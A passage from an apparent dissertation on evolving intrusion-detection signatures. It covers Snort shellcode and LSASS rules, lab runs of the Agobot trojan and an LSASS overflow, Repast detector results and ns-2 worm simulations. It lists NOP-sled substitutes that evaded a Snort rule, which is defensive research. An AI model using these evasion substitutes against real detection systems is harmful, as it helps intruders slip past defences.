  <rule action="alert" alert_suf_arr_3="nocase" classtype="bad-unknown" content="Command completed" dest_net="$EXTERNAL_NET" dest_port="any" flow="established" msg="ATTACK-RESPONSES command completed" protocol="tcp" reference="bugtraq,1806" rev="10" rule_category="attack-responses.rules" sid="494" src_net="$HTTP_SERVERS" src_port="$HTTP_PORTS" />
</ruleDictionary>
```

**Figure 5.6:** Snort rules stored in XML format

The critical characteristics in these rules are the protocol, source ip-address, destination ip-address, source port, destination port, content, and uricontent options. The pcre (perl compatible regular expression) option is ignored in this work. It is possible to add weights to each of these parameters for the purpose of determining the degree of match of a signature. In our immature detector population, these values will be randomly generated as outlined in the java code below.

```java
//generate a new instance of Random
Random r = new Random();

//this method will generate a random protocol
//from the popular choices tcp, udp, icmp, ip
public static String generateProtocol()
{
    ArrayList protoList = new ArrayList();
    protoList.add("tcp");
    protoList.add("udp");
    protoList.add("icmp");
    protoList.add("ip");
    String rand_proto = (String)protoList.get(r.nextInt(4));
    return rand_proto;
}
```
public static String generateRandomPort()
{
    ArrayList portList = new ArrayList();
    portList.add("$HTTP_PORTS");
    portList.add("$SHELLCODE_PORTS");
    portList.add("$ORACLE_PORTS");
    portList.add("any");
    portList.add("spec");
    int pp = r.nextInt(5);
    String rand_port = (String)portList.get(pp);
    if (rand_port.equals("spec"))
    {
        rand_port = String.valueOf(r.nextInt(65535));
        return rand_port;
    } else {return rand_port;}
}

public static String generateRandomNet()
{
    ArrayList netList = new ArrayList();
    netList.add("$EXTERNAL_NET");
    netList.add("$HOME_NET");
    netList.add("$AIM_SERVERS");
    netList.add("$HTTP_SERVERS");
    netList.add("$SMTP_SERVERS");
    netList.add("$SQL_SERVERS");
    netList.add("$TELNET_SERVERS");
    netList.add("$SNMP_SERVERS");
    netList.add("$DNS_SERVERS");
    netList.add("any");
    netList.add("spec");
    int pp = r.nextInt(11);
    String rand_net = (String)netList.get(pp);
    if (rand_net.equals("spec"))
    {
        rand_net = String.valueOf(r.nextInt(256)) + "." + String.valueOf(r.nextInt(256)) + "." + String.valueOf(r.nextInt(256)) + "." + String.valueOf(r.nextInt(256));
        return rand_net;
    } else {return rand_net;}
}

Figure 5.7: Java code to generate random protocol, port, and IP address which can be plugged into Snort rules
In the initial Repast simulations only the content/signature parameter was evolved. By adding the above parameters from the Snort rule set to our signature object, the evaluation plan is made more robust and practical. The above three functions indicate how we would be able to handle the polymorphism observed in attacks which randomly choose protocols, ports or ip-adresses. Harmer et al. (2002) follow a similar approach in the design of their computer immune defense system (CDIS). But, they fail to address the issue of content and restrict their work to the above mentioned three parameters viz. protocol, port and ip-address.

When we consider the content option for Snort rules we have to be more careful. By randomly altering the content of the signature we could be overwhelmed with false positives. For this reason, the rest of this dissertation will consider buffer overflow attacks and the polymorphism observed in such attacks. The central notion of this research design framework being that the Repast algorithm can be tuned to address signatures of different types of attacks. The generation of signatures that are able to detect polymorphic versions of the virus attacks relies on some knowledge of the attack itself and some foresight about how the attack could be morphed. The utility of a semi-knowledge based system, such as our Repast model, is in its usage in tandem with a classifying agent that can isolate suspicious traffic and present it to the Repast signatures. This could be achieved within Snort, for example, if the traffic were heading toward \$SHELLCODE_PORTS we could look for polymorphic NOP sleds generated by Repast in their payload.
5.2.2 Experiences with DARPA

Initial experiments with Snort included running the tcpdump files from MIT Lincoln Labs, DARPA Data Set (1998). These data sets have documented attacks carried out with background traffic similar to that observed on the Internet. Though there are many pros and cons (Zanero, 2007) associated with using these data sets, they serve the purpose of evaluating the signatures outputted by our Repast framework. The objective was to find polymorphic attack scenarios of a basic attack such as the ‘ffb’ exploit. The ideal situation would be to isolate polymorphic versions of an attack, which Snort is unable to detect and then feed the basic signature into the Repast framework to examine if the evolved signatures are able to pick up the polymorph.

The only documentation of the attack scenarios available are the following:

```
<table>
<thead>
<tr>
<th>Week</th>
<th>Day</th>
<th>Attack Name</th>
<th>Time</th>
<th>Source Machine</th>
<th>Dest Machine</th>
<th>User</th>
<th>Where</th>
<th>Variant</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Mon</td>
<td>ffb</td>
<td>08:07:13</td>
<td>135.8.60.182</td>
<td>pascal</td>
<td>tris</td>
<td>tank</td>
<td>tcp,bsm</td>
</tr>
<tr>
<td>3</td>
<td>Mon</td>
<td>ffb</td>
<td>11:32:20</td>
<td>202.247.224.89</td>
<td>pascal</td>
<td>clinton</td>
<td></td>
<td>tcp,bsm</td>
</tr>
<tr>
<td>4</td>
<td>Fri</td>
<td>ffb</td>
<td>09:22:12</td>
<td>135.13.216.191</td>
<td>pascal</td>
<td>jaro</td>
<td>slan</td>
<td>tcp,bsm</td>
</tr>
<tr>
<td>5</td>
<td>Mon</td>
<td>ffb</td>
<td>14:10:20</td>
<td>135.13.216.191</td>
<td>pascal</td>
<td>jaro</td>
<td>slan</td>
<td>tcp,bsm</td>
</tr>
</tbody>
</table>
```

**Figure 5.8**: Documentation of the Darpa (1998) experiments

ffbconfig is a program used to configure the Fast Frame Buffer (FFB) Graphics Accelerator, and is part of the FFB Configuration Software package, SUNWffbcf (AUSCERT Advisory, 1997). This software is only of use if the FFB Graphics accelerator card is installed. If the device /dev/fbs/ffb0 exists, it may indicate that the card is installed. Due to insufficient bounds checking on arguments which are supplied by users, it is possible to overwrite the internal stack space of the ffbconfig program while it
is executing. By supplying a carefully designed argument to the ffbconfig program, intruders may be able to force ffbconfig to execute arbitrary commands. As ffbconfig is setuid root, this may allow intruders to run arbitrary commands with root privileges. The code for the ffb exploit (Schipor, 1997) is included in Appendix B.

Any buffer overflow attack utilizes insufficient bounds checking on a buffer located on the stack to overflow the buffer and overwrite the return address of the currently executing function. Although the location of the injected code relative to the start of the buffer is known to the attacker, the absolute address, which indicates the start of the injected code, can only be guessed as the location of the start of the buffer relative to the start of the stack varies across operating systems for the same program. To overcome this lack of knowledge on where to transfer control, attackers pad the malicious code with a series of no-operation (NOOP) instructions. In the Intel architecture the NOOP instruction is one byte long and it translates to 0x90 in machine code.

For the ffb exploits carried out in the 1998 DARPA data set, Snort seems to pick up the NOOP (no operation instruction) sled during the program execution and generates an alert based on the following rule:

```
alert  ip  $EXTERNAL_NET  $SHELLCODE_PORTS  ->  $HOME_NET  any
    (msg:"SHELLCODE sparc NOOP"; content:"A6 1C C0 13 A6 1C C0 13 A6 1C C0 13 A6 1C C0 13 A6 1C C0 13"; reference:arachnids,355; classtype:shellcode-detect; sid:646; rev:5;)
```

**Figure 5.9**: Snort rule to detect a SPARC NOP

The stealthy version of this attack, apparently, has the exploit code encrypted. However, Snort picks up the same NOOP sled ‘0xa61cc013’. Of course obscuration techniques can
render signature-based rules ineffective. This is where our framework, which evolves signatures, can prove to be effective in detecting subtle variations of these types of attacks.

Since there is no documentation available of how the different types of attacks were scripted for the DARPA project, there is a need to replicate such an environment. In an attempt to do so, the Agobot (aka Gaobot, Polybot, and Phatbot) virus-kit was used. The virus kit has a modular design and allows any number of exploits to be added as infection vectors. The worm code also has routines to create a shell on the infected host. More information is available on the Internet\(^6\).

### 5.2.3 Description of the Agobot experiments

The test bed for the Agobot experiments was composed of two modules – one for attack and one for defense. The attack module was comprised of Agobot (a Trojan whose source code is known) and the defense module was made up of Snort (IDS) and Wireshark (packet sniffer).

The host operating system used was Windows XP Professional (SP1). VMware Workstation 5 was installed. The guest operating system on VMware Workstation was again Windows XP Professional (SP1). One of the Agobot variants, Phatbot whose source code is available, was installed and compiled using Microsoft VC++.

---

\(^6\) Retrieved on September 8, 2008 from the World Wide Web:
The Agobot trojan (a type of IRC bot) has the capability of spreading itself by joining an IRC channel. The bot, short for a roBot, in our experiments was an Agobot infected host that attempts to connect to an IRC channel and waits for a hacker to issue commands and control the machine. Once the machine is infected with Agobot, the hacker can issue any type of command to the machine (e.g. start/stop programs, visit websites, download programs).

Therefore, an IRC (freeware) server was installed on the guest OS which acted as the target.

Using the configuration interface the Trojan’s internals (e.g. name or IP address of the IRC server it should connect to, username/password of the controller/IRC server/IRC channel, channel names) were configured. Attributes like (a) the maximum number of threads (that Trojan employed while it was scanning for vulnerabilities on the network) and (b) a time out period (which logged out the user if no commands were issued for that amount of time) were configured. The source code was compiled and the executable was built using VC++. The configuration executable provides a graphical interface to set the different parameters as shown in Figure 5.10.
From Figure 2 (screen shot below) we can see that the Trojan with nick prefix ago_nick1 joined the main channel, and that on the issue of the \texttt{<BotPrefix>login <username> <password>\texttt{}} the Trojan accepted the password with the phrase “Password accepted.” On issue of the command, .\texttt{commands.list,} the Trojan listed all the available commands.

\textbf{Figure 5.10: Agobot Config GUI}

From Figure 2 (screen shot below) we can see that the Trojan with nick prefix ago_nick1 joined the main channel, and that on the issue of the \texttt{<BotPrefix>login \textless username\texttt{>} \textless password\texttt{>\texttt{}} the Trojan accepted the password with the phrase “Password accepted.” On issue of the command, .\texttt{commands.list,} the Trojan listed all the available commands.
Figure 5.11: The Agobot trojan connects to the IRC server main channel specified in its configuration file.

Simultaneously, a Wireshark packet capture can be performed on the target machine. A sample capture has been shown in the figure below.

The two packets shown are the one where the login command was being issued and the one that accepted the password.
Figure 5.12: Wireshark (previously Ethereal) packet capture statistics

Figure 5.13: Wireshark (previously Ethereal) packet capture statistics
5.2.4 Lessons learnt from Agobot Experiments

The doc section of the source code has a command reference that has a list of useful commands which can be issued from the IRC client. It is easy to successfully gather (and alter) environmental parameters relevant to the bot itself from these commands. It is also possible to launch denial of service packets against a host. However, it is relatively arduous to launch a polymorphic buffer overflow attack using the Agobot root kit. As a result, I had to look for an attack that can be rendered polymorphic, relatively easily. The LSASS buffer overflow, whose proof of concept was published by Abrams (2004), fit the bill.

5.2.5 The LSASS Buffer overflow

The Local Security Authority Services (LSASS) works with the Winlogon service which Windows uses to authenticate users when they attempt to logon (Abrams, 2004). The buffer overflow vulnerability is a result of a defect in the function that creates the Dcpromo.log file in the %windir%/debug folder. By specifying a long string to theDsRolerUpgradeDownlevelServer() function the values will be passed directly to the vsprintf() function which is responsible for writing to the dcpromo.log file. Once this happens a buffer overflow is created (Abrams, 2004).
The source code of this exploit was publicly released and can be found in the document released by the SANS institute (Abrams, 2004). The source code was compiled in a Windows XP environment using Microsoft Visual Studio.

At this point I set bounds for my problem domain. Snort has sophisticated rules in the netbios.rules file which could detect the LSASS buffer overflow.

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IPC$ unicode share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBu"; within:5; distance:3; byte_test:1,128,6,relative; pcre:"/\.(27)/R";
byte_jump:2,7,little,relative; content:"|I|00|P|00|C|00 24 00 00 00|"; distance:2; nocase; flowbits:set,smb.tree.connect.ipc;
classtype:protocol-command-decode; sid:2466; rev:7;)
```

**Figure 5.14:** Snort rules for the LSASS buffer overflow

But, there are also naïve rules such as the one in Figure 5.15.

```
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 0x90 unicode NOOP"; content:"|9 0 00 90 00 90 00 90 00 90 00 00|";
classtype:shellcode-detect; sid:653; rev:9;)
```

**Figure 5.15:** Snort rule that would generate an alert when a 0x90 NOP sled is encountered

If we were to use only the NOP sled rule then, it is easy to see that if the instruction 0x90 were to be replaced by a functional equivalent such as say, 0x37 the attack would evade the alert. This is where I would like to introduce the utility of a system such as our Repast
model. Our model could potentially generate rules of the type seen above only with the 0x90 replaced by 0x37 or any other functional equivalents.

5.3 Experiments to generate NOP equivalents

In section 4.4 I had pointed out that one of the NOP instructions for the Intel architecture is 0x90. There are several more functional equivalents which perform the same task as 0x90, many of which have been included in the source code of the well known polymorphic engine ADMMUTATE. I was able to obtain the source code for the same from the Internet\(^7\). I have included a piece of the source code in Appendix C which enumerates the NOPs for Intel IA32 architecture that was published by the author of ADMMUTATE. I substituted each of those NOPs, as published, for 0x90 in the LSASS code and was able to replicate the attack successfully. It turns out that for multi-byte NOPs such as "\x83\xe0\x42" transfer is handed to the last significant byte viz. 0x42 and it is the last byte which appears in the sled repetitively. Therefore, the effective sled observed in the payload for "\x83\xe0\x42" is 0x42 appearing as a series of |42 00 42 00 42 00 42| and so on. Similarly for "\x8c\xc0" the NOP observed in the payload is |c0 00 c0 00 c0 00 c0 00 c0|. To further simplify our problem, if we are able to guess the single byte equivalent for 0x90, we would have good chance of identifying the NOP sled in the payload by just looking for a repetitive occurrence of the equivalent.

The list of unique single byte replacements for 0x90 from the ADMMUTATE source code is given below:

<table>
<thead>
<tr>
<th>0x27</th>
<th>0x4c</th>
<th>0xc0</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x2f</td>
<td>0x4d</td>
<td>0xc1</td>
</tr>
<tr>
<td>0x33</td>
<td>0x6b</td>
<td>0xc8</td>
</tr>
<tr>
<td>0x37</td>
<td>0x83</td>
<td>0xc9</td>
</tr>
<tr>
<td>0x3f</td>
<td>0x85</td>
<td>0xd0</td>
</tr>
<tr>
<td>0x40</td>
<td>0x87</td>
<td>0xd2</td>
</tr>
<tr>
<td>0x41</td>
<td>0x90</td>
<td>0xe0</td>
</tr>
<tr>
<td>0x42</td>
<td>0x92</td>
<td>0xe8</td>
</tr>
<tr>
<td>0x43</td>
<td>0x97</td>
<td>0xf7</td>
</tr>
<tr>
<td>0x44</td>
<td>0x99</td>
<td>0xf8</td>
</tr>
<tr>
<td>0x48</td>
<td>0x9e</td>
<td>0xfb</td>
</tr>
<tr>
<td>0x4a</td>
<td>0xb0</td>
<td>0xfb</td>
</tr>
</tbody>
</table>

**Figure 5.16**: Single byte NOP equivalents (Intel)

In the Repast simulation, I applied the above mentioned knowledge of signature generation. I restricted the virus length to be just two characters. I also allowed for 50% mutation of the signature i.e one of the two characters could be substituted with any character from the subset \{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f\} which represents the legal character set from the hexadecimal scheme.

In the first run, I used just one signature in the virus database viz. 0x90 and studied the signatures of the immature detectors that were being promoted as detectors in the Repast simulation model. After about 1000 time steps some of the signatures generated were ‘d8’ and ‘ad’, 2/2 were false positives.

In the next run I used 3 signatures in the virus database viz. 0x27, 0x90, 0xfc and studied the signatures of the immature detectors that were being promoted as detectors. Some of the signatures were: f7, 74, 3d. (f7) 1/3 were true positives and 2/3 were false positives.
In another run using the same three signatures, some of the signatures generated were: c9, 2b, 91, 0b, 88, de. (c9) 1/6 were true positives and 5/6 were false positives.

So we see that if we add signatures to the database there is more possibility of variation. But, the only drawback is that as variation increases so does the false positive count. We can posit that if we were to have multiple nodes sharing signatures, then the burden of resolving the unknown would be shared and that there would be a rich variety of signatures generated.

Below are the tabulated results of the effect of adding nodes to the above two mentioned scenarios, namely using one virus signature in the database versus using three. Each of the nodes added publish their signatures into a central location, where they are collated and sorted and foreign detectors are generated from the sorted list at each node. The matching signatures in the tables below represent the signatures that match the NOP replacements as seen above.

<table>
<thead>
<tr>
<th>Matching Signatures</th>
<th>1 Virus Sig. 2 Nodes</th>
<th>1 Virus Sig. 3 Nodes</th>
</tr>
</thead>
<tbody>
<tr>
<td>True Positive</td>
<td>4a, 7c, 84, 9e, a7, b9</td>
<td>10, 14, 16, 1e, 29, 31, 3e, 40, 93, af, b9, bb, bc, c7</td>
</tr>
<tr>
<td>False Positive</td>
<td>(4a) TP = 1/6 FP = 5/6</td>
<td>(40) TP = 1/14 FP = 13/14</td>
</tr>
<tr>
<td></td>
<td>0.166666667</td>
<td>0.07</td>
</tr>
<tr>
<td></td>
<td>0.833333333</td>
<td>0.928571429</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Matching Signatures</th>
<th>1 Virus Sig. 4 Nodes</th>
<th>1 Virus Sig. 5 Nodes</th>
</tr>
</thead>
<tbody>
<tr>
<td>True Positive</td>
<td>00, 10, 14, 16, 1e, 21, 2e, 2c</td>
<td>05, 0a, 0f, 1c, 26, 2c, 3e</td>
</tr>
<tr>
<td>False Positive</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Matching Signatures</td>
<td>2a, 3e, 93, 9a, a0, af, bb, bd, c3, cd, da, db, e3, fd, ff</td>
<td>34, 35, 39, 3b, 4d, 67, 68, 6d, 6f, 85, 96, a1, bd, e4, ed, f6</td>
</tr>
<tr>
<td>---------------------</td>
<td>-------------------------------------------------</td>
<td>-------------------------------------------------</td>
</tr>
<tr>
<td>TP</td>
<td>1/21</td>
<td>2/22</td>
</tr>
<tr>
<td>FP</td>
<td>20/21</td>
<td>20/22</td>
</tr>
<tr>
<td>True Positive</td>
<td>0.047619048</td>
<td>0.090909091</td>
</tr>
<tr>
<td>False Positive</td>
<td>0.952380952</td>
<td>0.909090909</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>1 Virus Sig. 6 Nodes</th>
<th>1 Virus Sig. 7 Nodes</th>
</tr>
</thead>
<tbody>
<tr>
<td>54, 21, fc, 8b, fd, 80, 98, 52, 2c, ee, 07, dc, 68, 34, 97, 64, 7d, 20, 17, d8</td>
<td>00,01,04,05,06,10,12, 13,15,1c,2c,30,35,3b, 41,44,47,47,49,4c,54, 5f,60,6f,70,7c,83,8b, 95,98,a3,a6,a7,aa,ab, b3,bc,c0,c1,c3,d0,d5, d7,d8,db,e5,f9</td>
</tr>
<tr>
<td>(fc, 98, 97)</td>
<td>(41, 44, 4c, 83, 98, c0, c1, d0, db, f9)</td>
</tr>
<tr>
<td>TP = 3/20 FP = 17/20</td>
<td>TP = 10/47 FP = 37/47</td>
</tr>
<tr>
<td>True Positive</td>
<td>0.15</td>
</tr>
<tr>
<td>False Positive</td>
<td>0.85</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>3 Virus Sig. 2 Nodes</th>
<th>3 Virus Sig. 3 Nodes</th>
</tr>
</thead>
<tbody>
<tr>
<td>02, 30, 48, 79, aa, ab, b1, b2, bd, c6, cc</td>
<td>1f, 22, 27, 4a, 4b, 57, 64, 7c, 8b, 92, 9f, c1, d7, d9</td>
</tr>
<tr>
<td>(48) TP = 1/11 FP = 10/11</td>
<td>(27,4a, 4b, 92, 9f, c1)</td>
</tr>
<tr>
<td>True Positive</td>
<td>0.090909091</td>
</tr>
<tr>
<td>False Positive</td>
<td>0.909090909</td>
</tr>
<tr>
<td>----------------</td>
<td>-------------</td>
</tr>
<tr>
<td><strong>3 Virus Sig. 4 Nodes</strong></td>
<td><strong>3 Virus Sig. 5 Nodes</strong></td>
</tr>
<tr>
<td>11, 27, 2e, 3f, 49, 57, 7b, 8a, 8f, 92, a5, aa, ce, d6, ea, f9</td>
<td>05, 0b, 4d, 66, 75, 7d, 7d, 80, 83, 8c, 8d, d4, dd, f9, fb</td>
</tr>
<tr>
<td><strong>Matching Signatures</strong></td>
<td>(27, 3f, 92, f9)</td>
</tr>
<tr>
<td><strong>True Positive</strong></td>
<td>0.25</td>
</tr>
<tr>
<td><strong>False Positive</strong></td>
<td>0.75</td>
</tr>
<tr>
<td><strong>3 Virus Sig. 6 Nodes</strong></td>
<td><strong>3 Virus Sig. 7 Nodes</strong></td>
</tr>
<tr>
<td>01, 05, 21, 2b, 35, 38, 38, 52, 54, 57, 62, 64, 65, 69, 78, 80, a7, bd, c0, d8, e2, e4, f9, fc</td>
<td>00, 04, 06, 07, 08, 0b, 10, 11, 13, 15, 17, 18, 19, 1b, 20, 27, 2c, 30, 3a, 3b, 41, 47, 49, 56, 59, 5f, 6e, 6f, 7e, 80, 81, 8b, 95, a1, a3, aa, b4, b6, c0, c9, cb, cf, d0, d5, d8, df, e0, e5, e7, f9, fc</td>
</tr>
<tr>
<td><strong>Matching Signatures</strong></td>
<td>(c0, f9, fc)</td>
</tr>
<tr>
<td><strong>True Positive</strong></td>
<td>0.125</td>
</tr>
<tr>
<td><strong>False Positive</strong></td>
<td>0.875</td>
</tr>
</tbody>
</table>

**Figure 5.17**: Tabulation of the Repast simulation results

The above results are discussed in the next chapter.

**5.4 Results from ns-2 simulations**

Three different types of topologies were constructed Barabasi-Albert, Waxman (using the BRITE topology generator) and Transit-Stub (using the GT-ITM topology generator
available in the ns release). Each of these topologies was converted to a format readable by ns. $\beta$ and $T$ were estimated for each of the topologies using the fminsearch function available in Matlab. The most highly connected nodes were determined by using a Java program to parse the topology file.

In figure 5.18 the ‘Regular’ section represents the results of the simulation when no nodes were removed, i.e. all the nodes were allowed to get infected. The ns worm model simulation was then run again with these topologies, only this time 10 nodes (out of a total of $500 = 2\%$) were pulled down at the 10% stage of the infection (time at which 10% of the nodes had reported infection). This was repeated for the 5% stage of infection as well. These results have been tabulated in Figure 5.18.

<table>
<thead>
<tr>
<th>Topology</th>
<th>$\beta$ (10%)</th>
<th>$T$ (10%)</th>
<th>%nodes Infected</th>
<th>$\beta$ (5%)</th>
<th>$T$ (5%)</th>
<th>%nodes Infected</th>
</tr>
</thead>
<tbody>
<tr>
<td>Transit Stub</td>
<td>131.2699</td>
<td>0.0461</td>
<td>0.883</td>
<td>19.9307</td>
<td>0.0904</td>
<td>0.80</td>
</tr>
<tr>
<td></td>
<td>+- 4.95</td>
<td>+- 0.000585</td>
<td>100</td>
<td>+- 0.00426</td>
<td>79</td>
<td>0.00525</td>
</tr>
<tr>
<td>Barabasi - Albert</td>
<td>283.1493</td>
<td>0.0297</td>
<td>2.666</td>
<td>67.1458</td>
<td>0.0455</td>
<td>2.55</td>
</tr>
<tr>
<td></td>
<td>+- 10.65</td>
<td>+- 0.000272</td>
<td>100</td>
<td>+- 0.00113</td>
<td>95</td>
<td>0.00119</td>
</tr>
<tr>
<td>Waxman</td>
<td>319.0547</td>
<td>0.0278</td>
<td>9.269</td>
<td>244.1394</td>
<td>0.0296</td>
<td>9.12</td>
</tr>
<tr>
<td></td>
<td>+- 11.94</td>
<td>+- 0.000243</td>
<td>100</td>
<td>+- 0.00032</td>
<td>98</td>
<td>0.00033</td>
</tr>
</tbody>
</table>

**Figure 5.18:** $\beta$, $T$, and percentage of nodes infected (10% of nodes pulled at 5% and 10% stages)

In the next set of simulations the worm model was run against the same three topologies only this time 50, 100, 150, 200, and 250 of the most highly connected nodes were pulled at the 10% stage of the infection. The results are summarized in Figures 5.19 and 5.20.
<table>
<thead>
<tr>
<th></th>
<th>50 Nodes pulled at 10 % of infection</th>
<th>100 Nodes pulled at 10 % of infection</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>( \beta )</td>
<td>( T )</td>
</tr>
<tr>
<td>Transit Stub</td>
<td>12.0369 +/- 0.640</td>
<td>0.1528 +/- 0.00909</td>
</tr>
<tr>
<td>Barabasi - Albert</td>
<td>20.0684 +/- 0.896</td>
<td>0.1019 +/- 0.00441</td>
</tr>
<tr>
<td>Waxman</td>
<td>129.0464 +/- 5.095</td>
<td>0.0373 +/- 0.00062</td>
</tr>
</tbody>
</table>

**Figure 5.19:** \( \beta \), \( T \), and percentage of nodes infected (50, 100 nodes pulled at 10% of infection)

<table>
<thead>
<tr>
<th></th>
<th>150 Nodes pulled at 10 % of infection</th>
<th>200 Nodes pulled at 10 % of infection</th>
<th>250 Nodes pulled at 10 % of infection</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>( \beta )</td>
<td>( T )</td>
<td>%nodes Infected</td>
</tr>
<tr>
<td>Transit Stub</td>
<td>6.7373 +/- 0.482</td>
<td>0.1935 +/- 0.02071</td>
<td>29</td>
</tr>
<tr>
<td>Barabasi - Albert</td>
<td>9.1019 +/- 0.904</td>
<td>0.0915 +/- 0.02025</td>
<td>16</td>
</tr>
<tr>
<td>Waxman</td>
<td>20.0422 +/- 0.942</td>
<td>0.1000 +/- 0.00472</td>
<td>65</td>
</tr>
</tbody>
</table>

**Figure 5.20:** \( \beta \), \( T \), and percentage of nodes infected (150, 200, 250 nodes pulled at 10% of infection)

The above results are discussed in the next chapter.
Chapter 6 - Discussion and Conclusion.

In this chapter I discuss the results from the Repast simulations in section 6.1 and the results from the ns-2 simulations in 6.2

6.1 Repast simulation results

Some of the results of simulating the initial Repast model are presented in Figures 5.1, 5.2 and 5.3 and discussed in section 5.1. In summary, the Repast model makes use of agents, some which are packets, detectors, immature detectors, and foreign detectors. The signatures of packets are randomly generated of some arbitrary length and some of them are randomly infected with virus signatures from our database. For the purpose of this dissertation I had considered the hexadecimal character set with the intention to detect NOP sleds, which would be a subset of the hexadecimal character set. I had also restricted the length of the detector signatures to two characters because I was considering the problem of single byte NOP sleds alone, which has been explained in section 5.3. The immature detector signatures were also being generated at random. However, the immature detectors undergo a training phase where they are exposed to packets and only those immature detectors which are successful in matching infected packets are promoted to the detector group, provided their false positive and false negative counts (which are measured during the training phase) are not too high. Now, with the concept of mutation in place, I randomly alter the virus signature while infecting
packets in each time step. This increases the variation and adds diversity to the signatures of the immature detectors that are being promoted as detectors.

In Figure 6.1 below I have plotted the fraction of true positives and false positives versus the number of nodes used in the simulations in section 5.3 when mutating a single virus signature. In Figure 6.2 below I have plotted the fraction of true positives and false positives versus the number of nodes used in the simulations in section 5.3 when mutating three virus signatures.

![Mutating 1 virus signature](image)

Figure 6.1 Fraction of true positives and false positives versus number of nodes running the simulation using a single virus signature
From the above experiments it would appear that when variability is added to the simulation either by means of increasing the virus signatures in the database or by adding nodes to the network, we see that a diverse set of signatures are generated by the model. But, there are also a large number of false positives generated by the model. The reasons for this occurrence are that we are generating signatures randomly and also mutating the known virus signatures with the intention of being able to predict variations of known attacks. In my opinion, the model would be well served if we exclude legitimate non-NOP instructions from the immature detector signatures. I leave this for future study as the compilation of legitimate instructions for the Intel architecture could itself be a humongous task.

The central objective behind the Repast model was to be able to detect an unknown attack which was a variation of a known attack and to communicate this knowledge to the
rest of the network, so that the attack could be mitigated in real-time. I used the Snort rule set to represent the set of known attacks. But, attacks themselves are varied and some of the signatures in Snort are very specific and robust. It does not make intuitive sense to randomly alter or mutate these signatures and use these signatures to scan real traffic as there would a lot of false positives generated. However, in section 5.2.1 I have presented some java code which could be used to dynamically generate variations in certain Snort rule parameters namely, ip-address and port. This would prove useful in scenarios where the attack payload could be disguised as being sent from spoofed ip-addresses or randomly chosen ports. When we address the content, the same schema would not work very effectively. In order to address content, the algorithm used to generate signatures in the simulation would have to be specific to the attack. In this dissertation I have used the example of the LSASS buffer overflow and the problem of identifying this attack by using shell code rules from the Snort rule set. By default shell code rules are turned off in the Snort package as they throw a lot of false positives. But, for the purpose of this dissertation they demonstrate how the simulation model can be used to augment this particular rule set. The rules which use NOP sleds such as [90 00 90 00 90 00 90] can be evaded by using functional equivalents to the instruction 0x90. These have been enumerated in section 5.3. The problem now boils down to determining what these replacements are and which of these specifically are in the packet carrying the malicious payload. The model I have presented here has the ability to not only predict the unknown NOP sled, but also has the ability to generate lot of false positives. This is being accomplished by random generation of signatures and matching them against known viral signatures, while simultaneously introducing variations in these known signatures. The
concept of having immature detectors which have a set gestation period before they are promoted to being mature detectors enables them to get trained in detecting these variations. Also, the concept of having multiple nodes that share their signatures adds to the variability in the system. But, it is this variability which adds to the growing concern of false positives. So the specified model would need to be exposed to strenuous training against real time internet traffic before it can be incorporated into any IDS.

6.2 ns-2 simulation results

Among the three different topologies that were studied it is observed that the infection spreads slowest in Transit-Stub topology. Also the impact of pulling nodes out is greatest in Transit-Stub topology. We are able to save about 21% of the nodes from getting infected by pulling highly connected nodes at the 10% stage and about 30% nodes are saved from infection when we pull nodes at the 5% stage.

The effective spread rate is comparable for Barabasi-Albert and Waxman network topologies, when no nodes were pulled. But, pulling highly connected nodes has a greater impact on the Barabasi-Albert network than the Waxman network both in terms of reducing the effective spread rate and saving nodes from being infected. But, the difference is negligible when compared to the Transit-Stub network.

Using a tool like UCINET (Borgatti, Everett and Freeman, 1999) we can analyze the adjacency matrices of these topologies to determine characteristics like density. The
density of a binary network is simply defined as the sum of the ties divided by the
number of all possible ties

<table>
<thead>
<tr>
<th>Density</th>
<th>Std. Deviation</th>
</tr>
</thead>
<tbody>
<tr>
<td>AS Waxman</td>
<td>0.006</td>
</tr>
<tr>
<td>AS Barabasi</td>
<td>0.004</td>
</tr>
<tr>
<td>TS</td>
<td>0.0035</td>
</tr>
</tbody>
</table>

**Figure 6.3:** Densities of the three topologies tested obtained from UCINET

The infection seems to spread faster in the Waxman network topology than the Barabasi-Albert or the Transit-Stub topologies. Also, it requires more highly connected nodes to be pulled from the Waxman network to achieve the same protection observed in the other topologies. Thus, by running the ns-2 worm model against different topologies we can guesstimate the relative network densities of different network topologies. Moreover, we can get an idea of how many highly connected nodes to remove from the network to protect a certain proportion of the network from being infected by an ongoing attack.

**6.3 Conclusion**

In the preceding chapters I have largely presented a mechanism that would be capable to detect variations of known attacks. This detection mechanism when coupled with a remediation plan that draws inspiration from the results presented in this chapter forms a dynamic one-two punch to knock out a rapidly spreading virus that is a variation of a known attack in real-time. The detection mechanism itself needs to be fine-tuned and perfected to iron-out false positives whereas for the remediation plan the goal becomes
careful management of the resulting down-time due to pulling out highly connected nodes in the network.
Appendix A: Some common computer exploits (Lowery, 2002)

<table>
<thead>
<tr>
<th>Term</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Backdoor</td>
<td>A change made to a violated system to make future re-entry easier for the hacker</td>
</tr>
<tr>
<td>Bacteria</td>
<td>A program that quickly allocates system resources and reproduces instances of its self to deny service to other processes (also known as hogs)</td>
</tr>
<tr>
<td>Buffer overrun</td>
<td>An attack that forces a processor to execute foreign code in privileged mode by passing a lengthy string parameter containing the code to a subroutine that does not have the buffer space to receive it</td>
</tr>
<tr>
<td>Compromised system utilities</td>
<td>Common system commands or programs altered by a hacker so that the system extends unintended privileges to unauthorized users, provides a backdoor for later re-entry, or fails to report hacker activities</td>
</tr>
<tr>
<td>DNS hijack</td>
